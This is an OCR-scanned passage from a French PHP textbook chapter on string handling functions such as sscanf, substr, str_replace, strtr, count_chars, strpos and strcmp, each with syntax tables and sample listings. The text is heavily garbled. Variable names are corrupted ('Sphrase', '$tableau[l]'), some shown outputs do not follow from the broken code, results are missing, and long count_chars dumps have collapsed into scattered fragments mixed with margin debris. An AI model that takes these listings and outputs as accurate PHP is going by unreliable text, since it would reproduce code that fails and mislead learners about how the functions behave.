Et voici le resultat obtenu : 
Date 

01/07/2002 

Pi avec 7 decimal es 

3.1415927 

Ecriture d'une chaine 
.:Salut !:. 

Ecriture d'une chaine avec 20 caracteres minimum 
.: Salut:. 

Ecriture d'une chaine avec 20 caracteres minimum, aligne a gauche 
.:Salut :. 

Ecriture d'une chaine avec 20 caracteres minimum, complete par des - 
.: Salut:. 

Ecriture d'une chaine avec 20 caracteres minimum, aligne a gauche, complete par 
s< des - 

.:Salut :. 

Ecriture de % 



La fonction vPrintf ( ) permet d'afficher un tableau. Elle fonctionne de la meme maniere que 

printf ( ) . 



vPrintfQ 



Affiche une chaine de caracteres formatee et construite a partir de donnees stockees dans un & i— 

tableau. =>' " 

CP 3 

«° 3 

Syntaxe boolean vPri ntf (stri ng $format, array $tableau) ™ -5' 

o c 

$format Voir description deprintf () . 2J 5" 

qj a: 

$tableau Tableau a afficher. 2. § 

CD' 

retour Unbooleen. ™ g 

Voici un exemple : 
<?php 

$tableau=array("Element 1", "Element 2", "Element 3"); 

vPrintf("%2\$s|%l\$s|%3\$s", $tableau); 

?> 

dont le resultat obtenu est le suivant : 
Element 21 Element II Element 3 
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vSPrintf() 

Retourne une chaine de caracteres formatee et construite a partir de donnees stockees dans un 
tableau. 

Syntaxe string vSPri ntf (stri ng $format, array $tableau) 

$format Voir description de vPrintf ( ) . 

$tableau Tableau a afficher. 

retour La chaine de caracteres. 



sscanfQ 



CD (a 

= '£ 

o o 



c= -a 

E CD 

ra £ 

_l CO 



Permet de faire l'analyse lexicale d'une chaine de caracteres (i.e. de recuperer les informations 
qui la composent). 



Syntaxe 

$chai ne 
$format 

$vari abl eSorti eN 
retour 



mixed sscanf (stri ng $chaine, string $format[, string 
&$variableSortiel [, string &$vari abl eSorti e2 [, ...]]] 

Chaine de caracteres dont on veut recuperer des elements. 

Format de la chaine a analyser. 

Variables dans lesquelles vous souhaitez stocker les differents elements 
extraits de la chaine de caracteres. 

Tableau avec les differentes parties reconnues de la chaine de caracteres, 
ou le nombre de sous-chaines reconnues si des des variables sont passees 
par reference. 



Un exemple d'utilisation de sscanf ( ) : 
<?php 

Sphrase = "J'ai 25 ans et je suis Frangais"; 

$tableau = sscanf ($phrase, "J'ai %d ans et je suis %s"); 

echo $tableau[0] . "<br />\n"; 

echo $tableau[l] . "<br />\n"; 

list($age, $national i te) = sscanf ($phrase, "J'ai %d ans et je suis %s"); 

echo $age."<br />\n"; 

echo $national ite. "<br />\n"; 

$refage=0; 
$refnat=" " ; 

echo sscanf ($phrase, "J'ai %d ans et je suis %s", &$refage, &$refnat) 

." elements<br />\n"; 
echo $refage."<br />\n"; 
echo $refnat."<br />\n"; 
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Et le resultat obtenu : 
25 

Frangai s 
25 

Frangai s 
2 elements 
25 

Frangai s 

Manipuler les caracteres 

chr() 

Retourne le caractere d'un code ASCII. 

Syntaxe string chr(int $codeAscii) 

$codeAsci i Code ASCII du caractere a afficher. 

retour Caractere correspondant au code ASCII passe en parametre. 



ord() 

Retourne le code ASCII du premier caractere d'une chaine. 
Syntaxe int ord (string $chaine) 

$chai ne Chaine dont on veut le caractere ASCII du premier caractere. 

retour Code ASCII du premier caractere. 

7.2. Fonctions de gestion des chaines de caracteres 

Extraction et substitution 
Extraction 

substr() 

Retourne une partie d'une chaine de caracteres. 

Syntaxe string substr (stri ng $chaine, int $debut [,int $nbCaracteres] ) 

$ c h a i n e Chaine de caracteres de laquelle vous souhaitez extraire une partie . 



e-j o 



2 10 

CO CO 
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$debut 



Indice du caractere de depart. (Le premier caractere ayant l'indice 0, si la 
valeur est negative, le compte se fait depuis la droite, le dernier caractere 
ayant l'indice -1). 



retour 



La sous-chaine demandee. 



Listing 7.3 : substr.php 

<?php 

echo substr("abcdefghij", 2); 
echo "<br />"; 

echo substr("abcdefghij", 0, 3); 
echo "<br />"; 

echo substr("abcdefghi j " , 1, 4); 
echo "<br />"; 

echo substr("abcdefghij", 5, 20); 
echo "<br />"; 

echo substr("abcdefghij", -3, 2); 

?> 

Et le resultat obtenu est le suivant : 

cdefghi j 

abc 

bcde 

fghij 

hi 

Parfois, nous ne sommes pas en mesure de connaitre par avance la position recherchee dans 
une chaine de caracteres. Les fonctions suivantes ne necessitent pas de connaitre d'index. 

La fonction strstr() permet de retrouver la premiere occurrence d'un caractere ou d'une 
chaine de caracteres dans une autre chaine de caracteres. 




strstrQ 



Permet de recuperer la partie d'une chaine de caracteres situee a partir de la premiere 
occurrence d'une sous-chaine. 

Syntaxe string strstr (stri ng $chaine, string $souschai ne) 

$chai ne Chaine de caracteres d'ou vous souhaitez extraire une partie. 

$souschaine Chaine de caracteres def inissant le debut. 

retour Une sous-chaine de $chaine comprenant $souschaine et la fin de 



$chaine. 



Listing 7.4 : strstr.php 



<?php 

echo "strstr :" .strstr("Voi ci un exemple stupide d'exemple", "exempl e") ; 
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echo "\n"; 

echo "strstr : " .strstr("thomas@toutestfaci 1 e.com" , "@"); 

?> 

En sortie, nous obtiendrons : 

strstr :exemple stupide d'exeniple 
strstr : @toutestf aci 1 e . com 



yd} StrCllr( > 

~ s trchr ( ) est un alias de strstr (), c 'est-a-dire que ces deux fonctions sont en tous 

REMARQUE po i n t s identiques. 

strstr { ) est une fonction sensible aux majuscules/minuscules. Pour ne pas prendre en compte 
la casse, il faut utiliser stristr ( ) , qui fonctionne de la meme facpn. 

Listing 7.5 : stristr.php 

<?php 

echo "strstr: " .strstr("Voici un exemple stupide d 1 exempl e" , "Exemple") ; 
echo "\n"; 

echo "stri str: " . stri str("Voi ci un exemple stupide d 1 exemple", "Exemple"); 

?> 

En sortie, nous obtiendrons : 
strstr: 

stri str: exemple stupide d'exemple 

Dans le cas ou nous avons utilise strstr ( ) , la sous-chaine de caracteres "Exemple" n'a pas ete 
trouvee a cause de la majuscule. 

Dans le cas ou la sous-chaine est presente plusieurs fois, il est possible de recuperer la partie 
situee apres la derniere occurrence a l'aide de strrchr ( ) . 



strrchrQ 



o -J 



CD = 



03 —■ 
CJ O 



CD CD 

Permet de recuperer la partie d'une chaine de caracteres situee a partir de la derniere "> 
occurrence d'une autre chaine. 

Syntaxe string strrchr(stri ng $chaine, string $souschaine) 

$chai ne Chaine de caracteres d'ou vous souhaitez extraire une partie. 

$souschai ne Chaine de caracteres definissant le debut. 

retour Une sous-chaine de $chaine comprenant $souschaine et la fin de 

$chaine. 

<?php 
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echo strrchr("Voi ci un exemple stupide d'exemple", "exemple"); 
echo "\n"; 

echo strrchr("arti cl e 1, article 2, article 3", ","); 

?> 

Et voici le resultat obtenu : 
e 

, article 3 



Substitution 



substr_replace() 



Retourne une chaine de caracteres issue d'une chaine dans laquelle une partie a ete remplacee 
par une autre. Permet egalement d'inserer du texte. 

Syntaxe string substr_replace(string $chaine, string $substitution, 

int $debut [, int $nbCaracteres] ) 

$chai ne Chaine de caracteres dans laquelle vous souhaitez remplacer du texte. 

$substitution Chaine de caracteres que vous souhaitez ecrire a la place. 

$debut Indice du caractere de depart. (Le premier caractere ayant l'indice 0, si la 

valeur est negative, le compte se fait depuis la droite, le dernier caractere 
ayant l'indice -1). 

$nbCaracteres Nombre de caracteres a remplacer. 

retour La chaine de caracteres modifiee. 



Listing 7.6 : substrreplace.php 

<?php 

echo substr_replace("abCDEF", "AB", 0, 2); 
echo "<br />"; 

echo substr_replace("100000 Euros", -9, 0) ; 

?> 

ABCDEF 

100,000 Euros 



II est possible d'utiliser cette fonction afin de reduire des chaines de caracteres. Par exemple, 
pour modifier "cette trop longue phrase" en "cette trop longue ph...", il suffit d'ecrire : 

substr_repl ace("cette trop longue phrase", 20) 

II est assez rare que nous connaissions par avance la position des caracteres dans la chaine. Bien 
plus souvent, il s'agit d'un mot ou d'une expression que nous souhaitons remplacer par un(e) 
autre. II est, par exemple, possible d'imaginer que Ton souhaite remplacer les mots vulgaires 
d'un forum par '(censure)'. La fonction qui va nous le permettre s'appelle str_replace ( ) . 



Fonctions de gestion des chaTnes de caracteres 



str_replace() 

Cette fonction permet de remplacer des occurrences par d'autres. 

Syntaxe mixed str_repl ace (mixed $motif, mixed $remplacement, mixed 

$chaine [, int &$nombreRempl acements] ) 

$moti f Une chaine de caracteres ou un tableau de chaines de caracteres designant 

le ou les elements a rechercher. 

$remplacement Une chaine de caracteres ou un tableau de chaines de caracteres designant 
le ou les elements qui remplaceront les elements de $mo t i f . 

$ c h a i n e Une chaine de caracteres ou un tableau de chaines de caracteres designant 

le ou les elements a modifier. 

SnombreRempl acements Cette fonction ecrira dans la variable $nombre_remplacements, le 
nombre de remplacements effectues dans la chaine de caracteres. (Cette 
option n'existe que depuis la version 5.0.0 de PHP) 

retour La chaine de caracteres ou le tableau de chaines de caracteres modifie. 

L'utilisation la plus simple consiste a remplacer une sous-chaine par une autre dans une chaine 
de caracteres. 

Voici un code source d'exemple : 

Listing 7.7: strreplacel.php 

<?php 

$phrase = "Jessicasse-croutes dans mon panier"; 
echo $phrase. "<br />"; 

$phrase = str_replace("Jessica", "J'ai 6 ca", $phrase); 

echo $phrase. "<br />"; 

?> 

Et le resultat : 

Jessicasse-croutes dans mon panier 
J'ai 6 casse-croutes dans mon panier 

Si $chaine est un tableau, le remplacement s'effectue sur tous les elements du tableau. En 
retour, nous obtenons alors un tableau des chaines de caracteres modifiees. 

Voici un code source d'exemple : 
Listing 7.8 : strreplace2.php 

<?php 

$phrases = array("Jessicasse-croutes dans mon panier", 

"Jessi canapes dans mon salon", 

"Jessi cadeaux sous mon sapin"); 
echo $phrases [0] . "<br />"; 
echo $phrases [1] . "<br />"; 
echo $phrases [2] . "<br />"; 



Chapitre 7 La manipulation des chaines de caracteres 



$phrases = str_replace("Jessica", "J'ai 6 ca", $phrases); 

echo $phrases [0] . "<br />"; 

echo $phrases[l] . "<br />"; 

echo $phrases [2] . "<br />"; 

?> 

Et le resultat : 

Jessicasse-croutes dans mon panier 
Jessi canapes dans mon salon 
Jessicadeaux sous mon sapin 
J'ai 6 casse-croutes dans mon panier 
J'ai 6 canapes dans mon salon 
J'ai 6 cadeaux sous mon sapin 

II est egalement possible de tirer partie de cette fonction pour effectuer plusieurs modifications 
d'un seul coup, en utilisant des tableaux pour les variables $motif et $remplacement. 

Voici un code source d'exemple : 
Listing 7.9 : strreplace3.php 

<?php 

Sphrases = array ("Jessicasse-croutes dans mon panier et 

Jean ai d'autres dans mon placard", 
"Jessicanapes dans mon salon et 

Jean ai un dans la chambre"); 
echo Sphrases [0] . "<br />"; 
echo $phrases [1] . "<br />"; 

Sphrases = str_replace(array("Jessica","Jean") , 

array("J'ai 6 ca", "j'en"), Sphrases); 
echo $phrases [0] . "<br />"; 
echo $phrases[l] ."<br />"; 
?> 

Et le resultat : 

Jessicasse-croutes dans mon panier et Jean ai d'autres dans mon placard 
Jessicanapes dans mon salon et Jean ai un dans la chambre 
J'ai 6 casse-croutes dans mon panier et j'en ai d'autres dans mon placard 
J'ai 6 canapes dans mon salon et j'en ai un dans la chambre 

Pour ne remplacer que des caracteres, comme par exemple pour retirer les accents, on pourrait 
utiliser str_repiace ( ) , mais on peut egalement utiliser la fonction strtr ( ) . 

Remplacement insensible d la casse 

Si vous possedez la version 5.0.0 ou superieure de PHP, vous pouvez utiliser la 
fonction str_ireplace ( ) qui se comporte comme strjeplace hormis qu'elle est 
remplacera egalement les chaines de caracteres ayant une casse differente. 
( minuscules /majuscules ) 



REMARQUE 
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strtr() (syntaxe 1) 

Retourne une chaine de caracteres dans laquelle certains caracteres ont ete remplaces par 
d'autres. 

Syntaxe string strtr (string $chaine, string $depuis, string $vers) 

$chai ne Chaine de caracteres ou les modifications doivent etre effectuees. 

$depu i s Chaine de caracteres indiquant tous les caracteres a modifier. 

$vers Chaine de caracteres indiquant les caracteres qui devront remplacer ceux 

de $depuis. 

retour La chaine modifiee. 

Voici un exemple qui permet de supprimer les accents dans une phrase. 

Listing 7.10 : strtrl.php 

<?php 

$phrase = "Les accents sur a, e, e, u, e, 8 vont etre supprimes"; 
echo $phrase."<br />"; 

$phrase = strtr ($phrase, "aeiouaeiouaei 6Q" , "aeiouaeiouaeiou") ; 
echo $phrase; 

?> 

Voici le resultat obtenu : 

Les accents sur a, e, e, u, e, 6 vont etre supprimes 
Les accents sur a, e, e, u, e, o vont etre supprimes 

Une autre syntaxe existe, qui consiste a declarer un tableau associatif. Cela permet de 
remplacer des chaines de caracteres par d'autres. 



strtr () (syntaxe 2) 



Retourne une chaine de caracteres dans laquelle certains caracteres ont ete remplaces par 
d'autres. 

Syntaxe string strtr (string $chaine, array $rempl acement) 

$chai ne Chaine de caracteres ou les modifications doivent etre effectuees. 

$ r emp 1 a c eme n t Tableau associatif ayant pour cles les chaines de caracteres a remplacer, et 
pour valeurs les chaines de substitution correspondantes. 

retour La chaine modifiee. 



e-j o 
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Listing 7.11 : strtr2.php 

<?php 

$phrase = "Les accents sur a, e, e, u, e, 6 vont etre supprimes"; 

echo $phrase."<br />"; 

$rempl acements = array('a' => 'a 1 , 

' e ' => ' e ' , 

'e' => 'e' s 

' u ' => 1 u 1 , 

' e ' => ' e ' , 

' 6 ' => ' o ' , 

'vont etre' => 'ont etes' ); 
$phrase=strtr($phrase , $rempl acements) ; 
echo $phrase; 

?> 

Et voici le resultat obtenu : 

Les accents sur a, e, e, u, e, 6 vont etre supprimes 
Les accents sur a, e, e, u, e, o ont ete supprimes 



Fonctions statistiques (longueur et nombre d' occurrences) 



strlen() 



Retourne la longueur d'une chaine de caracteres. 
Syntaxe int strl en (stri ng $chaine) 

$chaine Chaine de caracteres dont vous souhaitez connaitre le nombre de 



K u> caracteres. 

03 03 
"O i— 

= '°2 re tour Nombre de caracteres de la chaine. 

o o 

| | <?php 

.2- cd echo strlen("Texte de 22 caracteres"); 

™ «. ■> 

E 03 

= 

-J ^ Et le resultat est : 

r-: =-> 

22 



substr_count() 

Cette fonction compte le nombre d'occurrences d'une sous-chaine dans une autre. 
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Syntaxe int substr_count (stri ng $chaine, string $motif) 

$ c h a i n e Chaine de caracteres ou retrouver le motif. 

$mot i f Motif a rechercher. 

retour Le nombre de fois ou le motif apparait. 

Listing 7.12 : c06-substrcount.php 

<?php 

echo substr_count ("toto" , "toto") ; 
echo "<br />"; 

echo substr_count("toto","to") ; 
echo "<br />"; 

echo substr_count("Je me demande combien il y a de e 
dans cette phrase" , "e") ; 

echo "<br />"; 
?> 

Et voici le resultat obtenu : 

1 

2 

10 



count_chars() 



Permet de compter les occurrences des caracteres dans une chaine de caracteres. 

Syntaxe mixed count_chars (stri ng $chaine [, int $mode] ) 

$ chaine Chaine dont vous souhaitez compter le nombre d'occurrences des 

caracteres. 

$mode Au choix : 

(par defaut) renvoie le nombre d'occurrences de tous les caracteres 
ayant un code ASCII compris entre et 255. 

1 ne renvoie que les caracteres presents dans la chaine. 

2 ne renvoie que les caracteres absents de la chaine. 

3 renvoie une chaine de caracteres des caracteres utilises. 

4 renvoie une chaine de caracteres des caracteres inutilises. 

retour Un tableau associatif ou les cles sont les codes ASCII des caracteres, ou 

une chaine de caracteres selon le mode choisi. 

Voici un exemple de script pour commenter cette fonction : 
<?php 

$phrase="Cette phrase contient plusieurs e, t, c et p"; 
echo "*** Code=0:\n"; 
print_r(count_chars($phrase)) ; 
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echo "*** Code=l:\n"; 
print_r(count_chars ($phrase, 1) ) ; 
echo "*** Code=2:\n"; 
print_r(count_chars ($phrase,2) ) ; 
echo "*** Code=3:\n"; 
echo count_chars ($phrase,3) . "\n" ; 



Dont le resultat attendu est : 



*** Code=0: 

Array 

( 











[1] => 


n 

u 




[2] = 








=> 


n 


L 4 . 


=> 












[5] ■ 


=> 


[6] => 







[7] = 


> 




[8] 


=> 





[9] 


=> 












[10] 


=> 


[11] 


=> 




[12; 


=> 







[13: 


=> 





[14] 


=> 










[15] 


=> 


[16] 


=> 




[17: 


=> 







[18] 


=> 





[19] 


=> 










[20] 


=> 


[21] 


=> 




[22; 


=> 







[23: 


=> 





[24] 


=> 










[25] 


=> 


[26] 


=> 




[27: 


=> 







[28: 


=> 





[29] 


=> 










[30] 


=> 


[31] 


=> 




[32: 


=> 


8 




[33: 


=> 





[34] 


=> 










[35] 


=> 


[36] 


=> 




[37: 


=> 







[38: 


=> 





[39] 


=> 










[40] 


=> 


[41] 


=> 




[42: 


=> 







[43: 


=> 





[44] 


=> 2 










[45] 


=> 


[46] 


=> 




[47: 


=> 







[48: 


=> 





[49] 


=> 










[50] 


=> 


[51] 


=> 




[52: 


=> 







[53: 


=> 





[54] 


=> 










[55] 


=> 


[56] 


=> 




[57: 


=> 







[ss: 


=> 





[59] 


=> 










[60] 


=> 


[61] 


=> 




[62: 


=> 







[63: 


=> 





[64] 


=> 










[65] 


=> 


[66] 


=> 




[67: 


=> 


1 




[68: 


=> 





[69] 


=> 










[70] 


=> 


[71] 


=> 




[72: 


=> 







[73: 


=> 





[74] 


=> 










[75] 


=> 


[76] 


=> 




[77: 


=> 







[78: 


=> 





[79] 


=> 










[80] 


=> 


[81] 


=> 




[82: 


=> 







[83: 


=> 





[84] 


=> 










[85] 


=> 


[86] 


=> 




[87: 


=> 







[88: 


=> 





[89] 


=> 










[90] 


=> 


[91] 
[96] 


=> 




[92: 
[97: 


=> 







[93: 
[98: 


=> 





[94] 
[99] 


=> 










[95] 


=> 


=> 




=> 


1 




=> 





=> 2 






GO 


GO 


[100| 


=> 


[101 


=> 


7 




L02] 


=> 







103] 


=> 





104] 


=> 


1 


■o 


03 

Ib_ 

,03 


[105; 


=> 2 


[106 


=> 







L07] 


=> 







108] 


=> 


1 


109] 


=> 





o 


aract 


[no: 


=> 2 


[HI 


=> 


1 




L12] 


=> 


3 




113] 


=> 





114] 


=> 


2 


IS 


[us: 


=> 3 


[116 


=> 


6 




L17] 


=> 


2 




118] 


=> 





119] 


=> 





=i 
a. 


u 

03 


[120: 


=> 


[121 


=> 







L22] 


=> 







123] 


=> 





124] 


=> 





'c 
ca 


■D 

GO 
05 


[125: 


=> 


[126 


=> 







L27] 


=> 







128] 


=> 





129] 


=> 





E 


[i3o: 


=> 


[131 


=> 







L32] 


=> 







133] 


=> 





134] 


=> 





1 


C 

'to 


[135: 


=> 


[136 


=> 







L37] 


=> 







138] 


=> 





139] 


=> 







u 


[i4o: 


=> 


[141 


=> 







L42] 


=> 







143] 


=> 





144] 


=> 









[145: 


=> 


[146 


=> 







L47] 


=> 







148] 


=> 





149] 


=> 









[i5o: 


=> 


[151 


=> 







L52] 


=> 







153] 


=> 





154] 


=> 









[155: 


=> 


[156 


=> 







L57] 


=> 







158] 


=> 





159] 


=> 









[i6o: 


=> 


[161 


=> 







L62] 


=> 







163] 


=> 





164] 


=> 









[i6s: 


=> 


[166 


=> 







L67] 


=> 







168] 


=> 





169] 


=> 









[no: 


=> 


[171 


=> 







L72] 


=> 







173] 


=> 





174] 


=> 









[175: 


=> 


[176 


=> 







L77] 


=> 







178] 


=> 





179] 


=> 









[i8o: 


=> 


[181 


=> 







L82] 


=> 







183] 


=> 





184] 


=> 









[185: 


=> 


[186 


=> 







L87] 


=> 







188] 


=> 





189] 


=> 









[i9o: 


=> 


[191 


=> 







L92] 


=> 







193] 


=> 





194] 


=> 
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[195] 


=> 


[196] 


=> 





[197] 


=> 





[198] 


=> 





[199] 


=> 





[200] 


=> 


[201] 


=> 





[202] 


=> 





[203] 


=> 





[204] 


=> 





[205] 


=> 


[206] 


=> 





[207] 


=> 





[208] 


=> 





[209] 


=> 





[210] 


=> 


[211] 


=> 





[212] 


=> 





[213] 


=> 





[214] 


=> 





[215] 


=> 


[216] 


=> 





[217] 


=> 





[218] 


=> 





[219] 


=> 





[220] 


=> 


[221] 


=> 





[222] 


=> 





[223] 


=> 





[224] 


=> 





[225] 


=> 


[226] 


=> 





[227] 


=> 





[228] 


=> 





[229] 


=> 





[230] 


=> 


[231] 


=> 





[232] 


=> 





[233] 


=> 





[234] 


=> 





[235] 


=> 


[236] 


=> 





[237] 


=> 





[238] 


=> 





[239] 


=> 





[240] 


=> 


[241] 


=> 





[242] 


=> 





[243] 


=> 





[244] 


=> 





[245] 


=> 


[246] 


=> 





[247] 


=> 





[248] 


=> 





[249] 


=> 





[250] 


=> 


[251] 


=> 





[252] 


=> 





[253] 


=> 





[254] 


=> 





[255] 

) 


=> 


























*** Code= 


1: 


























Array 




























( 

[32] 


=> 8 


[44] = 


> 2 




[67] => 


1 




[97] => 


1 


[99] 


=> 2 






[101] 


=> 7 


[104] 


=> 


1 


[105] 


=> 


2 


[108] 


=> 


1 


[110] 


=> 


2 


[HI] 


=> 1 


[112] 


=> 


3 


[114] 


=> 


2 


[115] 


=> 


3 


[116] 


=> 


6 



[117] => 2 



) 

*** Code= 

Array 

( 



[0] = 


> 


[1] => 






[2] => 




[3] 


=> 







[4] 


= > 









[5] = 


> 


[6] => 






[7] => 




[8] 


=> 







[9] 


= > 









[10] 


=> 


[11] => 







[12] 


=> 







[13] 


=> 







[14 


=> 






[15] 


=> 


[16] => 







[17] 


=> 







[18] 


=> 







[19 


=> 






[20] 


=> 


[21] => 







[22] 


=> 







[23] 


=> 







[24 


=> 






[25] 


=> 


[26] => 







[27] 


=> 







[28 


=> 







[29 


=> 






[30] 


=> 


[31] => 







[33] 


=> 







[34] 


=> 







[35 


=> 






[36] 


=> 


[37] => 







[38 


=> 







[39] 


=> 







[40 


=> 






[41] 


=> 


[42] => 







[43] 


=> 







[45! 


=> 







[46 


=> 






[47] 


=> 


[48] => 







[49; 


=> 







[50: 


=> 







[51 


=> 






[52] 


=> 


[53] => 







[54 


=> 







[55; 


=> 







[56 


=> 






[57] 


=> 


[58] => 







[59] 


=> 







[60: 


=> 







[61 


=> 






[62] 


=> 


[63] => 







[64] 


=> 







[65 


=> 







[66 


=> 






[68] 


=> 


[69] => 







[70] 


=> 







[71] 


=> 







[72 


=> 






[73] 


=> 


[74] => 







[75] 


=> 







[76] 


=> 







[77 


=> 






[78] 


=> 


[79] => 







[80] 


=> 







[81] 


=> 







[82 


=> 






[83] 


=> 


[84] => 







[85; 


=> 







[86] 


=> 







[87 


=> 






[88] 


=> 


[89] => 







[90 


=> 







[91] 


=> 







[92 


=> 






[93] 


=> 


[94] => 







[95] 


=> 







[96! 


=> 







[98 


=> 






[100] 


=> 


[102] = 


> 





V 


L03] 


=> 







106] 




=> 





[107] 


=> 





[109] 


=> 


[113] = 


> 





P 


LIS] 


=> 







;ii9] 




= > 





[120] 


=> 





[121] 


=> 


[122] = 


> 





[: 


L23] 


=> 







124] 




= > 





[125] 


=> 





[126] 


=> 


[127] = 


> 





[: 


L28] 


=> 







129] 




= > 





[130] 


=> 





[131] 


=> 


[132] = 


> 





[: 


L33] 


=> 







134] 




■■> 





[135] 


=> 





[136] 


=> 


[137] = 


> 





[: 


L38] 


=> 







;i39] 




■> 





[140] 


=> 





[141] 


=> 


[142] = 


> 





[: 


L43] 


=> 







144] 




■> 





[145] 


=> 





[146] 


=> 


[147] = 


> 





[: 


L48] 


=> 







;i49] 




■> 





[150] 


=> 






CD 

CO 



e-j o 



2 ™ 

CO CO 
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[151] 


=> 





[152] 


=> 





[153] 


=> 





[154] 


=> 





[155] 


=> 





[156] 


=> 





[157] 


=> 





[158] 


=> 





[159] 


=> 





[160] 


=> 





[161] 


=> 





[162] 


=> 





[163] 


=> 





[164] 


=> 





[165] 


=> 





[166] 


=> 





[167] 


=> 





[168] 


=> 





[169] 


=> 





[170] 


=> 





[171] 


=> 





[172] 


=> 





[173] 


=> 





[174] 


=> 





[175] 


=> 





[176] 


=> 





[177] 


=> 





[178] 


=> 





[179] 


=> 





[180] 


=> 





[181] 


=> 





[182] 


=> 





[183] 


=> 





[184] 


=> 





[185] 


=> 





[186] 


=> 





[187] 


=> 





[188] 


=> 





[189] 


=> 





[190] 


=> 





[191] 


=> 





[192] 


=> 





[193] 


=> 





[194] 


=> 





[195] 


=> 





[196] 


=> 





[197] 


=> 





[198] 


=> 





[199] 


=> 





[200] 


=> 





[201] 


=> 





[202] 


=> 





[203] 


=> 





[204] 


=> 





[205] 


=> 





[206] 


=> 





[207] 


=> 





[208] 


=> 





[209] 


=> 





[210] 


=> 





[211] 


=> 





[212] 


=> 





[213] 


=> 





[214] 


=> 





[215] 


=> 





[216] 


=> 





[217] 


=> 





[218] 


=> 





[219] 


=> 





[220] 


=> 





[221] 


=> 





[222] 


=> 





[223] 


=> 





[224] 


=> 





[225] 


=> 





[226] 


=> 





[227] 


=> 





[228] 


=> 





[229] 


=> 





[230] 


=> 





[231] 


=> 





[232] 


=> 





[233] 


=> 





[234] 


=> 





[235] 


=> 





[236] 


=> 





[237] 


=> 





[238] 


=> 





[239] 


=> 





[240] 


=> 





[241] 


=> 





[242] 


=> 





[243] 


=> 





[244] 


=> 





[245] 


=> 





[246] 


=> 





[247] 


=> 





[248] 


=> 





[249] 


=> 





[250] 


=> 





[251] 


=> 





[252] 


=> 





[253] 


=> 





[254] 


=> 





[255] 


=> 






) 

*** Code=3: 
, Cacehil noprstu 



strspnQ 



CD q) 

= '£ 

o o 



.S- cd 
t= -a 

E CD 

«i £ 

_l CO 



Cette fonction retourne le nombre de caracteres du debut de la chaine passee en premier 
parametre, dont tous les caracteres sont compris dans la chaine fournie en second parametre. 



int strspn(string $chaine, string $caracteres [, int $debut [, 
int $nbCaracteres]]) 

Chaine a etudier. 

Ensemble de caracteres. 

Indice du premier caractere de $chaine a etudier. 

Nombre de caracteres a partir de $ debut sur lesquels faire le compte. 

Le nombre de caracteres du debut de la chaine, dont tous les caracteres 
appartiennent a $caracteres. 



Syntaxe 

$chai ne 
$caracteres 
$debut 

$nbCaracteres 
retour 

Un exemple : 
<?php 

echo strspn ("7490875253 Voila 10 chiffres", "1234567890" 



dont le resultat est : 
10 
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strcspn() 



Cette fonction retourne le nombre de caracteres du debut de la chaine passee en premier 
parametre, dont aucun caractere n'est compris dans la chaine fournie en second parametre. 

Syntaxe int strcspn(string $chaine, string $caracteres [ int $debut [, 

int $nbCaracteres]] ) 

$ c h a i n e Chaine a etudier. 

$caracteres Ensemble de caracteres. 

$debut Indice du premier caractere de $ chaine a etudier. 

$nbCaracteres Nombre de caracteres a partir de $debut sur lesquels faire le compte. 

retour Le nombre de caracteres du debut de la chaine, dont aucun caractere 

n'appartient a $caracteres. 

Un exemple : 
<?php 

echo strcspn ("22 caracteres avant le: ou ! ou ?", ":!?"); 

?> 

avec comme resultat : 
22 



Fonctions de position 

II est egalement utile de pouvoir recuperer l'index d'un caractere dans une chaine : 



— . ^ 

strpos() s | 

Retourne la position du premier caractere de la premiere occurrence d'une chaine dans une g E. 

autre, a partir d'un certain index. 3 ~ 

Syntaxe int strpos (stri ng $chaine, string $souschaine [int $index]) 5 Jo 

CO CO 

$chai ne Chaine de caracteres dans laquelle rechercher la sous-chaine. 

$souschai ne Chaine de caracteres a rechercher. 

$i ndex Index de la chaine a partir duquel la recherche doit s'effectuer. 

retour L'index du premier caractere de la sous-chaine. Retourne FALSE si la 

sous-chaine n'est pas trouvee. 

<?php 

echo strpos("Index du premier caractere d'une chaine de". 
" caracteres" , "caractere") ; 
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echo "\n"; 

echo strpos(" Index du premier caractere d'une chaTne de". 
" caracteres" , "caractere" ,0) ; 

echo "\n"; 

echo strpos("Index du premier caractere d'une chaine de". 
" caracteres" , "caractere" ,30) ; 

?> 

Voici le resultat obtenu : 

17 
17 

43 




Retour de la fonction 

II vaut miewc comparer le resultat a false ( en utilisant I'operateur ===) avant de se 



ATTENTION servir de la valeur retournee, car la confusion entre le premier caractere (d'indice 0) 
et la valeur false est possible. 



strrpos() 

Retourne la position de la derniere occurrence d'un caractere dans une chaine de caracteres. 

Syntaxe int strrpos (stri ng $chaine, char $caractere) 

$chai ne Chaine dans laquelle rechercher le caractere. 

$caractere Caractere dont on veut l'indice. 

3 q> retour La position de la derniere occurrence du caractere dans la chaine. 

"O i— 

= ■£ 

.2 « <?php 

2§ S echo strrpos("Index du premier caractere d'une chaine de caracteres" ,' e ') ; 

.2- <u ■> 



CO 



_ 00 

fc 2 Voici le resultat obtenu 

51 



CO <= 

_i re 



r- « 



7.3. Comparaison de chaines de caracteres 

II est possible de comparer deux chaines de caracteres en utilisant simplement l'operateur ==. 
Cependant, il peut etre egalement interessant de comparer des chaines semblables a l'aide de 
fonctions permettant d'autres moyens de comparaison que la stride egalite de deux chaines. 
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, . Egalite des valeurs et des types 

yy Si vous souhaitez comparer une variable a une chaine de caracteres en utilisant 
ATTENTION I'operateur ==, assurez-vous que la variable est bien de type string. Vous risqueriez, 
sinon, d' avoir des surprises. 



Comparaison par ordre alphabetique 

II est ainsi possible de comparer deux chaines selon leur ordre alphabetique. 



strcmpO 



Compare deux chaines de caracteres a partir de l'ordre alphabetique. 

Syntaxe int strcmp(stri ng $chainel, string $chaine2) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

retour -1 si la chaine 1 est placee avant la chaine 2 dans l'ordre alphabetique, 1 



<?php 

echo strcmp("abc", 
echo strcmp("aa", 
echo strcmp("_mot" 
echo strcmp("mot_" 
echo strcmp("mot", 
?> 



dans le cas contraire et si les deux chaines sont identiques. 



"bed") . "\n" ; 
'aaa") . "\n" ; 

"mot")."\n"; 

"mot")."\n"; 
"mot") . "\n" ; 



Voici le resultat obtenu : 



1 


Pour ne comparer que les premiers caracteres, il suffit d'utiliser la fonction suivante : 



<r> o 



CO CO 



strncmpO 

Compare les premiers caracteres de deux chaines de caracteres a partir de l'ordre alphabetique. 
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Syntaxe int strncmp(stri ng $chainel, string $chaine2, int 

$nbCaracteres) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

$nbCaracteres Nombre de caracteres a comparer. 

retour -1 si les $nbCaracteres premiers caractere de chaine 1 sont places 

avant la chaine 2 dans l'ordre alphabetique, 1 dans le cas contraire et si 
